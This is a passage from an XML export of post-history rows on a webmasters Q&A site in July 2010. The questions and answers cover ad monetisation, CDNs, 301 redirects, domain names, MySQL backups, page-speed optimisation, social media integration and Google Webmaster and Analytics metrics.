this balance is what ad people are always trying to optimize.&#xD;&#xA;&lt;br&gt;&lt;br&gt;    &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA; 4.   When is too much advertising too&#xD;&#xA;    much advertising?&#xD;&#xA;&#xD;&#xA;     - See Answer for 3.&#xD;&#xA;&lt;br&gt;&lt;br&gt;    &#xD;&#xA;    &#xD;&#xA; 5.  Are there better ways to make money&#xD;&#xA;    from a site than text ads?&#xD;&#xA;&#xD;&#xA;     - Again, sorry, this is totally dependent on the value a site brings.&#xD;&#xA;&#xD;&#xA;Parting thought: consider that [eBay][5], [CNN][6], [4chan][7], [GMail][8] -- all contain advertising they use to help monetize their sites. These are all radically different enterprises though. There is no one-size-fits-all solution when it comes to ads. I think this is why most folks (including me) throw up their hands and just slap AdSense up. It works well enough, but an advertising professional *(and how to find one of these who is professional and qualified I don't know)* will be able to help you figure out how to get the right mix of advertising for your site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/phpadsnew/&#xD;&#xA;  [2]: http://web.blogads.com/&#xD;&#xA;  [3]: https://www.google.com/adsense&#xD;&#xA;  [4]: http://seanseo.com/online-advertising/how-to-use-banner-ads/&#xD;&#xA;  [5]: http://ebay.com/&#xD;&#xA;  [6]: http://cnn.com/&#xD;&#xA;  [7]: http://4chan.org/&#xD;&#xA;  [8]: http://gmail.com/" />
  <row Id="1489" PostHistoryTypeId="5" PostId="559" RevisionGUID="74ab4d7a-a40f-46aa-b37c-4dd2338dd82d" CreationDate="2010-07-13T19:11:53.387" UserId="26" Comment="added 170 characters in body; edited tags" Text="When did you decide to use a Content Delivery Network?&#xD;&#xA;&#xD;&#xA;How did you measure the &quot;success&quot; of using a CDN to help justify the additional cost?&#xD;&#xA;&#xD;&#xA;***Added a bounty.** Hoping to get interesting stories from other folks who had existing sites that changed for the better (or the worse) after migrating to a CDN.*&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1490" PostHistoryTypeId="6" PostId="559" RevisionGUID="74ab4d7a-a40f-46aa-b37c-4dd2338dd82d" CreationDate="2010-07-13T19:11:53.387" UserId="26" Comment="added 170 characters in body; edited tags" Text="&lt;server&gt;&lt;cdn&gt;" />
  <row Id="1491" PostHistoryTypeId="2" PostId="812" RevisionGUID="20b70960-27cf-41c3-a2b0-ff53e6129cfe" CreationDate="2010-07-13T19:18:03.407" UserId="26" Text="Say I have a [page][1] that gets a lot of traffic via [StumbleUpon][2]. It's an ancient page, and I might want to move it to another site as part reorganizing my old site. I intend to keep the content identical, other than maybe a slim header or footer. &#xD;&#xA;&#xD;&#xA;If I put in a `permanent 301` redirect, will my page be penalized by StumbleUpon or other social bookmarking sites? Will I lose the existing traffic?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://artlung.com/smorgasborg/how_to_tick_people_off.shtml&#xD;&#xA;  [2]: http://www.stumbleupon.com/" />
  <row Id="1492" PostHistoryTypeId="1" PostId="812" RevisionGUID="20b70960-27cf-41c3-a2b0-ff53e6129cfe" CreationDate="2010-07-13T19:18:03.407" UserId="26" Text="If I have a page that gets a lot of StumbleUpon traffic, will that traffic fall if I move it?" />
  <row Id="1493" PostHistoryTypeId="3" PostId="812" RevisionGUID="20b70960-27cf-41c3-a2b0-ff53e6129cfe" CreationDate="2010-07-13T19:18:03.407" UserId="26" Text="&lt;traffic&gt;&lt;redirects&gt;" />
  <row Id="1494" PostHistoryTypeId="2" PostId="813" RevisionGUID="22540dea-214a-4f16-a076-238b061632db" CreationDate="2010-07-13T19:35:17.030" UserId="108" Text="I do not know a ton about StumbleUpon but I do know that Google only gives you a slight ding for 301 redirects.  So by that measure you should not have an issue with doing a 301 redirect for a page that StumbleUpon is linked to.  Google will still crawl it and just see it is now a 301.&#xD;&#xA;&#xD;&#xA;The only concern I would have is if StumbleUpon removes links that it finds to be 301 redirects. I could not find anything from StumbleUpon that would make me think that they do that." />
  <row Id="1495" PostHistoryTypeId="2" PostId="814" RevisionGUID="aa120b3a-f581-4d5f-8464-97a87be20490" CreationDate="2010-07-13T19:47:26.347" UserId="26" Text="As of this moment, of the [top 500 global sites according to Alexa internet][1], only 12 start with a digit. `2.4%` only. So a digit-started domain name can get traffic.&#xD;&#xA;&#xD;&#xA;Here's the list (please note: I have not looked at these sites to see if they are safe for work):&#xD;&#xA;&#xD;&#xA; 1. http://2ch.net&#xD;&#xA; 1. http://4399.com&#xD;&#xA; 1. http://58.com&#xD;&#xA; 1. http://z5x.net&#xD;&#xA; 1. http://2345.com&#xD;&#xA; 1. http://360.cn&#xD;&#xA; 1. http://1stcngame.com&#xD;&#xA; 1. http://39.net&#xD;&#xA; 1. http://51job.com&#xD;&#xA; 1. http://1133.cc&#xD;&#xA; 1. http://7k7k.com&#xD;&#xA; 1. http://1stwebgame.com&#xD;&#xA;&#xD;&#xA;For some reason this question reminds me of [**E-Mail Addresses It Would Be Really Annoying to Give out over the Phone**][2], which is very funny.&#xD;&#xA;&#xD;&#xA;But seriously, any domain name can be successful. Look at [woot.com][3] and [ebay.com][4] and [craigslist.org][5]: ridiculous names; great, successful sites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com/topsites&#xD;&#xA;  [2]: http://www.mcsweeneys.net/links/lists/27MichaelWard.html&#xD;&#xA;  [3]: http://woot.com/&#xD;&#xA;  [4]: http://ebay.com/&#xD;&#xA;  [5]: http://craigslist.org/" />
  <row Id="1496" PostHistoryTypeId="5" PostId="802" RevisionGUID="09f33013-3069-46bf-bea5-530aaad20612" CreationDate="2010-07-13T20:20:41.757" UserId="130" Comment="Minor clarification" Text="I recommend using one of the many pre-existing mySQL backup scripts to take the pain out of getting it right.&#xD;&#xA;&#xD;&#xA;I use &quot;automysqlbackup&quot; which is an open-source shell script that can be set as a cron job on the server. It covers almost every conceivable backup situation: http://sourceforge.net/projects/automysqlbackup/. It has worked flawlessly for me for several years - thoroughly recommended." />
  <row Id="1497" PostHistoryTypeId="2" PostId="815" RevisionGUID="e24b04d0-745d-4070-935f-0dc4a1e38d30" CreationDate="2010-07-13T20:54:57.807" UserId="108" Text="The company I worked for changed their domain about a month ago and updated the URLs for all of the pages.  We mostly removed the .aspx from the ends and decreased the depth of many of our pages.  We created a sitemap.xml for the new site and added 301 redirects from the old pages to the new within the site.  We did update our address through Googles Webmaster tool so they know. &#xD;&#xA;&#xD;&#xA;Once Google crawled our site we saw a drop in our Google imprints from nearly 1000 to just 20-30 a day.  We know we missed a few redirects that have now been fixed (probably less than 10%) but we are still not going back up in impressions.&#xD;&#xA;&#xD;&#xA;Is there anything we should be looking into or is this just a natural occurrence caused by us switching pages and domains?" />
  <row Id="1498" PostHistoryTypeId="1" PostId="815" RevisionGUID="e24b04d0-745d-4070-935f-0dc4a1e38d30" CreationDate="2010-07-13T20:54:57.807" UserId="108" Text="We changed our URL and our impressions dropped almost 100%" />
  <row Id="1499" PostHistoryTypeId="3" PostId="815" RevisionGUID="e24b04d0-745d-4070-935f-0dc4a1e38d30" CreationDate="2010-07-13T20:54:57.807" UserId="108" Text="&lt;seo&gt;&lt;traffic&gt;&lt;redirects&gt;" />
  <row Id="1500" PostHistoryTypeId="2" PostId="816" RevisionGUID="0ed8fff6-27f4-4add-8a24-d84582f2a304" CreationDate="2010-07-13T21:00:31.693" UserId="41" Text="I prefer deploys which are automated and repeatable. You'd definitely want to start with a source control tag so you know exactly what you deployed and can re-deploy it anytime. Then use scripts to push that to the server, something along the lines of Capistrano, or just a homemade bash script or something. &#xD;&#xA;&#xD;&#xA;For sites that use compiled code, if the testing servers match the production servers it's probably best to compile the code once, and push that same compiled version to production once it's been tested." />
  <row Id="1501" PostHistoryTypeId="2" PostId="817" RevisionGUID="7e2d10e8-6b51-408a-b7c0-725ed772bdd6" CreationDate="2010-07-13T21:27:56.983" UserId="210" Text="I also know that a number of server management tools such as Interworx and Ensim use mysqldump to backup the databases and then a simple mysql command to restore. From this it would be my guess that this is one of the best ways." />
  <row Id="1502" PostHistoryTypeId="2" PostId="818" RevisionGUID="46f6a447-f966-482a-a231-1f3866a19a40" CreationDate="2010-07-13T21:32:26.920" UserId="179" Text="Google has outlined and explained their recommendations to best &lt;a href=&quot;http://code.google.com/speed/page-speed/docs/payload.html&quot;&gt;Minimize Payload Size&lt;/a&gt;. They include the following techniques:&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;Enable compression&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Remove unused CSS&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Minify JavaScript&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Minify CSS&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Minify HTML&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Defer loading of JavaScript&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Optimize images&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Serve scaled images&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Serve resources from a consistent URL&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;These suggestions are a part of their open-source Firefox/Firebug add-on project called &lt;a href=&quot;http://code.google.com/speed/page-speed/index.html&quot;&gt;Page Speed&lt;/a&gt;. Similar to Yahoo!'s &lt;a href=&quot;http://developer.yahoo.com/yslow/&quot;&gt;YSlow&lt;/a&gt; plugin. The actual Page Speed add-on will check for many more optimizations than that list explains in detail. Instructions for &lt;a  href=&quot;http://code.google.com/speed/page-speed/docs/using.html&quot;&gt;Using Page Speed&lt;/a&gt; are also presented.&#xD;&#xA;&#xD;&#xA;Yahoo!'s &lt;a href=&quot;http://developer.yahoo.com/performance/rules.html&quot;&gt;Best Practices for Speeding Up Your Website&lt;/a&gt; identify a similar set of best-practices:&#xD;&#xA;&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;Minimize HTTP Requests&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Use a Content Delivery Network&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Add an Expires or a Cache-Control Header&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Gzip Components&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Put Stylesheets at the Top&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Put Scripts at the Bottom&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Avoid CSS Expressions&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Make JavaScript and CSS External&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Reduce DNS Lookups&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&amp;hellip;&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;(Yahoo!'s list is ~35 items long, no need to quote it in its entirety.)&#xD;&#xA;&#xD;&#xA;Both &lt;a href=&quot;http://paulstamatiou.com/wp-content/uploads/2007/07/yahoo_yslow_firebug_pstam.jpg&quot;&gt;YSlow&lt;/a&gt; (image link) and &lt;a href=&quot;http://code.google.com/speed/page-speed/images/page-speed.png&quot;&gt;Page Speed&lt;/a&gt; (image link) will allow you to run tests on your pages, suggesting things that you can do and showing you what, of their recommendations, is already implemented." />
  <row Id="1503" PostHistoryTypeId="2" PostId="819" RevisionGUID="b73f4d9b-9413-4bf6-86e7-2fe7b015550f" CreationDate="2010-07-13T21:38:26.297" UserId="108" Text="And I am silly.  I misunderstood that unlike Google Analytics I needed to add the new domain to my list.  It has been fixed. Thanks!" />
  <row Id="1504" PostHistoryTypeId="2" PostId="820" RevisionGUID="ee503d02-ef29-459f-9d11-89c7924b2326" CreationDate="2010-07-13T21:55:46.430" UserId="179" Text="While you seem to have solved your problem, you may still experience this same phenomenon going forward. 301 Redirects are Google's recommended way to move content, however they have at least some decaying effect on Page Rank. Google's Matt Cutts was &lt;a href=&quot;http://www.stonetemple.com/articles/interview-matt-cutts-012510.shtml&quot;&gt;interviewed in March 2010 by Stone Temple Consulting&lt;/a&gt;. From the full transcript of his interview:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;&lt;strong&gt;Eric Enge:&lt;/strong&gt; Let’s say you move from one domain to another and you write yourself a nice little statement that basically instructs the search engine and, any user agent on how to remap from one domain to the other. In a scenario like this, is there some loss in PageRank that can take place simply because the user who originally implemented a link to the site didn't link to it on the new domain?&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;&lt;strong&gt;Matt Cutts:&lt;/strong&gt; That's a good question, and I am not 100 percent sure about the answer. I can certainly see how there could be some loss of PageRank. I am not 100 percent sure whether the crawling and indexing team has implemented that sort of natural PageRank decay, so I will have to go and check on that specific case. (Note: in a follow on email, Matt confirmed that this is in fact the case. There is some loss of PR through a 301).&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Since your content has not changed, just the paths that get you there, as the new links begin to age your Page Rank should return to its previous levels. &#xD;&#xA;&#xD;&#xA;Note that this question referred specifically to changing domains, and not to inter-domain redirects, so the effect may be less noticeable." />
  <row Id="1505" PostHistoryTypeId="5" PostId="814" RevisionGUID="7dda7e13-ddc1-4641-9dcc-941d46a6d3ad" CreationDate="2010-07-13T23:15:53.063" UserId="26" Comment="removed not-starting with a digit url." Text="As of this moment, of the [top 500 global sites according to Alexa internet][1], only 11 start with a digit. `2.2%` only. So a digit-started domain name can get traffic.&#xD;&#xA;&#xD;&#xA;Here's the list (please note: I have not looked at these sites to see if they are safe for work):&#xD;&#xA;&#xD;&#xA; 1. http://2ch.net&#xD;&#xA; 1. http://4399.com&#xD;&#xA; 1. http://58.com&#xD;&#xA; 1. http://2345.com&#xD;&#xA; 1. http://360.cn&#xD;&#xA; 1. http://1stcngame.com&#xD;&#xA; 1. http://39.net&#xD;&#xA; 1. http://51job.com&#xD;&#xA; 1. http://1133.cc&#xD;&#xA; 1. http://7k7k.com&#xD;&#xA; 1. http://1stwebgame.com&#xD;&#xA;&#xD;&#xA;For some reason this question reminds me of [**E-Mail Addresses It Would Be Really Annoying to Give out over the Phone**][2], which is very funny.&#xD;&#xA;&#xD;&#xA;But seriously, any domain name can be successful. Look at [woot.com][3] and [ebay.com][4] and [craigslist.org][5]: ridiculous names; great, successful sites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com/topsites&#xD;&#xA;  [2]: http://www.mcsweeneys.net/links/lists/27MichaelWard.html&#xD;&#xA;  [3]: http://woot.com/&#xD;&#xA;  [4]: http://ebay.com/&#xD;&#xA;  [5]: http://craigslist.org/" />
  <row Id="1506" PostHistoryTypeId="2" PostId="821" RevisionGUID="38636201-7e58-49cc-9559-9405de11641b" CreationDate="2010-07-13T23:59:17.497" UserId="72" Text="I am at the moment building up a web application made for people to buy and sell used book. The personn for which I am doing the website keeps talking to me about integrating social media features. I am myself a bit hesitant to adding such feature and I am wondering if adding any kind of integration of social media (such as Facebook) will be a something useful for the website or it will be just noise." />
  <row Id="1507" PostHistoryTypeId="1" PostId="821" RevisionGUID="38636201-7e58-49cc-9559-9405de11641b" CreationDate="2010-07-13T23:59:17.497" UserId="72" Text="Is the integration of social media useful to &quot;used book trading&quot; website ?" />
  <row Id="1508" PostHistoryTypeId="3" PostId="821" RevisionGUID="38636201-7e58-49cc-9559-9405de11641b" CreationDate="2010-07-13T23:59:17.497" UserId="72" Text="&lt;facebook&gt;&lt;website-features&gt;&lt;social-media&gt;" />
  <row Id="1509" PostHistoryTypeId="2" PostId="822" RevisionGUID="37c8795c-9b7d-4d28-92c6-6a45e9b77e22" CreationDate="2010-07-14T00:35:05.537" UserId="179" Text="&lt;strong&gt;Short answer:&lt;/strong&gt; roughly 3 seconds for more than half of users.&#xD;&#xA;&#xD;&#xA;In Web Performance Today's &lt;a href=&quot;http://www.webperformancetoday.com/2010/06/15/everything-you-wanted-to-know-about-web-performance/&quot;&gt;Cheat Sheet: Everything you wanted to know about web performance but were afraid to ask&lt;/a&gt;, the first point addressed is the effect of page-loads.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;In 2006, the average online shopper expected a web page to load in 4 seconds. Today, that same shopper expects your page to load in 2 seconds or less. &lt;a href=&quot;http://multichannelmerchant.com/whitepaper/0831_Akami_ecommerce_whitepaper/&quot;&gt;[Source: Forrester Consulting]&lt;/a&gt;&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;    &lt;li&gt;57% of online consumers will abandon a site after waiting 3 seconds for a page to load.&lt;/li&gt;&#xD;&#xA;    &lt;li&gt;9 out of 10 people will not return to a site after a disappointing experience.&lt;/li&gt;&#xD;&#xA;    &lt;li&gt;Of these, 3 will go on to tell others about their experience. &lt;a href=&quot;http://www.sacbee.com/2010/06/14/2821508/new-study-reveals-the-impact-of.html&quot;&gt;[Source: PhoCusWright]&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Users who experience a 2-second site slowdown make almost 2% fewer queries, click 3.75% less often, and report being significantly less satisfied with their overall experience. &lt;a href=&quot;http://www.techpresentations.org/Performance_Related_Changes_and_their_User_Impact&quot;&gt;[Source: Microsoft and Google]&lt;/a&gt;&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Other information in the article (all cited as in the quote) includes the effect of millisecond improvements in page-load times on page-view times, the effect of page-load times on time spent viewing advertisements, and the various effects of page-load times on revenue for e-commerce sites." />
  <row Id="1510" PostHistoryTypeId="2" PostId="823" RevisionGUID="61da64dc-7354-487b-9955-b53d84ccb2bd" CreationDate="2010-07-14T00:38:29.320" UserId="179" Text="Google has outlined and explained their recommendations to best &lt;a href=&quot;http://code.google.com/speed/page-speed/docs/payload.html&quot;&gt;Minimize Payload Size&lt;/a&gt;. They include the following techniques:&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;Enable compression&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Remove unused CSS&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Minify JavaScript&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Minify CSS&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Minify HTML&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Defer loading of JavaScript&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Optimize images&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Serve scaled images&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Serve resources from a consistent URL&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;These suggestions are a part of their open-source Firefox/Firebug add-on project called &lt;a href=&quot;http://code.google.com/speed/page-speed/index.html&quot;&gt;Page Speed&lt;/a&gt;. Similar to Yahoo!'s &lt;a href=&quot;http://developer.yahoo.com/yslow/&quot;&gt;YSlow&lt;/a&gt; plugin. The actual Page Speed add-on will check for many more optimizations than that list explains in detail. Instructions for &lt;a  href=&quot;http://code.google.com/speed/page-speed/docs/using.html&quot;&gt;Using Page Speed&lt;/a&gt; are also presented.&#xD;&#xA;&#xD;&#xA;Yahoo!'s &lt;a href=&quot;http://developer.yahoo.com/performance/rules.html&quot;&gt;Best Practices for Speeding Up Your Website&lt;/a&gt; identify a similar set of best-practices:&#xD;&#xA;&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;Minimize HTTP Requests&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Use a Content Delivery Network&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Add an Expires or a Cache-Control Header&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Gzip Components&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Put Stylesheets at the Top&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Put Scripts at the Bottom&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Avoid CSS Expressions&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Make JavaScript and CSS External&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Reduce DNS Lookups&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&amp;hellip;&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;(Yahoo!'s list is ~35 items long, no need to quote it in its entirety.)&#xD;&#xA;&#xD;&#xA;Both &lt;a href=&quot;http://paulstamatiou.com/wp-content/uploads/2007/07/yahoo_yslow_firebug_pstam.jpg&quot;&gt;YSlow&lt;/a&gt; (image link) and &lt;a href=&quot;http://code.google.com/speed/page-speed/images/page-speed.png&quot;&gt;Page Speed&lt;/a&gt; (image link) will allow you to run tests on your pages, suggesting things that you can do and showing you what, of their recommendations, is already implemented." />
  <row Id="1511" PostHistoryTypeId="2" PostId="824" RevisionGUID="e6a7131e-9033-4d3f-89d9-f469917cf48a" CreationDate="2010-07-14T01:12:11.127" UserDisplayName="delete" Text="Google Adsense requires a privacy policy.&#xD;&#xA;" />
  <row Id="1512" PostHistoryTypeId="5" PostId="819" RevisionGUID="b8ad4042-8877-49ed-be4e-def56863ffc7" CreationDate="2010-07-14T04:03:33.273" UserId="108" Comment="added 753 characters in body" Text="I figured out my issue.&#xD;&#xA;&#xD;&#xA;You can use a Google Analytics account to track a domain and if you change the domain name and do a 301 redirect from the old to the new you can use the same Analytics tracking code.  Note, the 301 isn't required though.&#xD;&#xA;&#xD;&#xA;However, Google Webmaster does not work the same.  When you switch domain names you will need to add the new domain to your domains in your Webmaster account.&#xD;&#xA;&#xD;&#xA;Also, there will be some artifacts on your old domain.  For instance Google may try to search for specific pages from its cache on the old domain and any related errors will show up for you old domain. In addition, you will still see some page ranking returns for the old domain for at least 2 weeks afterwords, if not even longer.  This seems odd to me but I am assuming it is Google's caching system and if you do all of your redirects correctly it will not be an issue." />
  <row Id="1513" PostHistoryTypeId="2" PostId="825" RevisionGUID="f6c68b44-d60e-4645-9e70-6c405193c7b5" CreationDate="2010-07-14T04:06:16.190" UserId="108" Text="I think it depends.  I wouldn't want to do tight integration where users can make comments on your site with their Facebook accounts or anything like that.&#xD;&#xA;&#xD;&#xA;On the other hand, if you want to add something easy that could be helpful checkout http://www.addthis.com/ or http://sharethis.com/.  They are easy to integrate tools that allow visitors to post specific links from your site to their social media accounts." />
  <row Id="1514" PostHistoryTypeId="2" PostId="826" RevisionGUID="4d2bfd96-387d-48cd-a2b3-be0674941a0f" CreationDate="2010-07-14T04:14:49.567" UserId="108" Text="I have a website I am tracking on Google's Webmaster tools.  When I look at the Search queries page it shows me a graph of Impressions and clicks per day.  Underneath that there is a table showing specific results.  One of the columns is Avg Position.  That columns seems to include paid ads.&#xD;&#xA;&#xD;&#xA;Is that correct, does the Avg Position also include the top result ads(the ads at the top of the search results)?  I am asking because the company I work for has a not so common name and whenever I Google it our site is the #1 result 100% of the time.  The only thing above it is 1 paid add.  When I checkout Webmaster tools I notice that searching for our name returns with us at an Avg Position of 2.0.  That seems like it would be only possible if paid top result ads were included in that position.  Does anyone know?" />
  <row Id="1515" PostHistoryTypeId="1" PostId="826" RevisionGUID="4d2bfd96-387d-48cd-a2b3-be0674941a0f" CreationDate="2010-07-14T04:14:49.567" UserId="108" Text="What does Avg Position from Google Webmaster really mean" />
  <row Id="1516" PostHistoryTypeId="3" PostId="826" RevisionGUID="4d2bfd96-387d-48cd-a2b3-be0674941a0f" CreationDate="2010-07-14T04:14:49.567" UserId="108" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="1517" PostHistoryTypeId="2" PostId="827" RevisionGUID="1c5d204e-d769-44dc-aa7e-d645e66ea0d2" CreationDate="2010-07-14T04:51:46.143" UserDisplayName="delete" Text="As far as I know, the Avg. Position means the average position in Google's (non-advertising) search results for that specific term and has nothing to do with Google's advertising.&#xD;&#xA;" />
  <row Id="1518" PostHistoryTypeId="5" PostId="827" RevisionGUID="d2b46ffd-3219-461a-9a54-330182a04753" CreationDate="2010-07-14T05:24:45.407" UserDisplayName="delete" Comment="added info on selecting &quot;web&quot;" Text="As far as I know, the Avg. Position means the average position in Google's (non-advertising) search results for that specific term and has nothing to do with Google's advertising.&#xD;&#xA;&#xD;&#xA;The reason that your company might not be number one might have something to do with, e.g. image searches. If I type in a term which I know my website is consistently number one on Google for web searches (you can check the position doesn't depend on location or being logged in e.g. by using [Scroogle][1] to see what other people might get), it shows it as Avg. Position 5.7 if I include image searches with &quot;All&quot;, but number 1.6 Avg. Position if I only choose &quot;Web&quot;. So you might need to narrow it down by choosing &quot;Web&quot; under the &quot;top queries&quot; box.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.scroogle.org/cgi-bin/scraper.htm" />
  <row Id="1519" PostHistoryTypeId="2" PostId="828" RevisionGUID="59a0a2fd-388d-493e-8b6e-f263c19dce64" CreationDate="2010-07-14T05:47:56.910" UserId="180" Text="In my opinion, it is worthwhile to allow your customers to log into your site using their preferred method, be that Facebook, Twitter, Google, OpenID, or a site-specific account as a fallback.  To this extent, it is definitely integrating with social media.  &#xD;&#xA;&#xD;&#xA;You may also want to consider setting up individual pages and the site itself as part of Facebook's &quot;open graph&quot; and embed a Like button.  This is an incredibly easy way to allow your users not only to share your pages with their friends, but to have the fact that they liked it persisted in their user profile, and to have your pages show up in Facebook's search results.  Huge (if somewhat questionable) marketing value.  The only real downside to this is the extra load caused by Facebook's code on your page.  Since it isn't critical functionality, you can always drop it if Facebook goes rogue :)" />
  <row Id="1520" PostHistoryTypeId="2" PostId="829" RevisionGUID="71c36010-d644-4595-b7fc-d61fdc67117f" CreationDate="2010-07-14T05:51:20.383" UserDisplayName="delete" Text="*(I copied this question from [stackoverflow.com][1], maybe someone here has the answer?)*&#xD;&#xA;&#xD;&#xA;I was wondering if its possible with Google Analytics to send real-time HTTP notifications to say PHP when a user visits my website. If not, I am curious about any real-time notifications that Google Analytics can send to me when a user visits my site. Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3243625/realtime-http-notifications-using-google-analytics-when-user-views-my-page" />
  <row Id="1521" PostHistoryTypeId="1" PostId="829" RevisionGUID="71c36010-d644-4595-b7fc-d61fdc67117f" CreationDate="2010-07-14T05:51:20.383" UserDisplayName="delete" Text="Realtime HTTP notifications using Google Analytics when user views my page?" />
  <row Id="1522" PostHistoryTypeId="3" PostId="829" RevisionGUID="71c36010-d644-4595-b7fc-d61fdc67117f" CreationDate="2010-07-14T05:51:20.383" UserDisplayName="delete" Text="&lt;google-analytics&gt;" />
  <row Id="1523" PostHistoryTypeId="5" PostId="828" RevisionGUID="b41616bb-6e12-4ba2-a1bf-8014c2773ced" CreationDate="2010-07-14T05:54:32.873" UserId="180" Comment="added 381 characters in body; added 6 characters in body" Text="In my opinion, it is worthwhile to allow your customers to log into your site using their preferred method, be that [Facebook][1], [Twitter][2], [Google][3], [OpenID][4], or a site-specific account as a fallback.  To this extent, it is definitely worth integrating with social media.  &#xD;&#xA;&#xD;&#xA;You may also want to consider setting up individual pages and the site itself as part of Facebook's &quot;[open graph][5]&quot; and embed a [Like button][6].  This is an incredibly easy way to allow your users not only to share your pages with their friends, but to have the fact that they liked it persisted in their user profile, and to have your pages show up in Facebook's search results.  Huge (if somewhat questionable) marketing value.  The only real downside to this is the extra load caused by Facebook's code on your page.  Since it isn't critical functionality, you can always drop it if Facebook goes rogue :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/guides/web#login&#xD;&#xA;  [2]: http://dev.twitter.com/pages/sign_in_with_twitter&#xD;&#xA;  [3]: http://code.google.com/apis/accounts/docs/GettingStarted.html&#xD;&#xA;  [4]: http://openid.net/add-openid&#xD;&#xA;  [5]: http://developers.facebook.com/docs/opengraph&#xD;&#xA;  [6]: http://developers.facebook.com/docs/reference/plugins/like" />
  <row Id="1524" PostHistoryTypeId="2" PostId="830" RevisionGUID="d2e45e42-5fdd-4bc1-9d82-caf55875fdb1" CreationDate="2010-07-14T06:01:07.197" UserId="180" Text="I don't believe that Google Analytics has any real-time analytics.  In fact, if you set your scope to the current day, you can see that it takes quite a while to collate all of your hits to your account for analysis, likely because they've got massive distributed writes going on, and only occasional aggregation.&#xD;&#xA;&#xD;&#xA;An article on TechCrunch does hold out some hope that [real-time analysis MAY be coming to Google Analytics][1], but I wouldn't hold my breath :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://techcrunch.com/2010/07/02/google-adds-real-time-stats-to-blogger-why-not-to-google-analytics/" />
  <row Id="1525" PostHistoryTypeId="11" PostId="527" RevisionGUID="59219e48-1518-4069-b44e-788ff316d335" CreationDate="2010-07-14T06:09:58.473" UserId="-1" Text="[{&quot;Id&quot;:130,&quot;DisplayName&quot;:&quot;Mark Hatton&quot;},{&quot;Id&quot;:96,&quot;DisplayName&quot;:&quot;Alan&quot;},{&quot;Id&quot;:72,&quot;DisplayName&quot;:&quot;HoLyVieR&quot;},{&quot;Id&quot;:132,&quot;DisplayName&quot;:&quot;Grant Palin&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;}]" />
  <row Id="1526" PostHistoryTypeId="5" PostId="628" RevisionGUID="d732d60c-6bd4-4bc4-8820-fd6bd31446f5" CreationDate="2010-07-14T07:09:07.043" UserId="180" Comment="I shouldn't read back my entries; might get the impression that my proofreading sucks." Text="This is absolutely worth doing, even for sites with average to low traffic levels.  Although it will reduce your bandwidth (with a slight increase in CPU usage), the real benefit is to your users.  Even on broadband you can notice a performance improvement when accessing compressed pages, but your users on slower network speeds and newer smartphones will really appreciate it." />
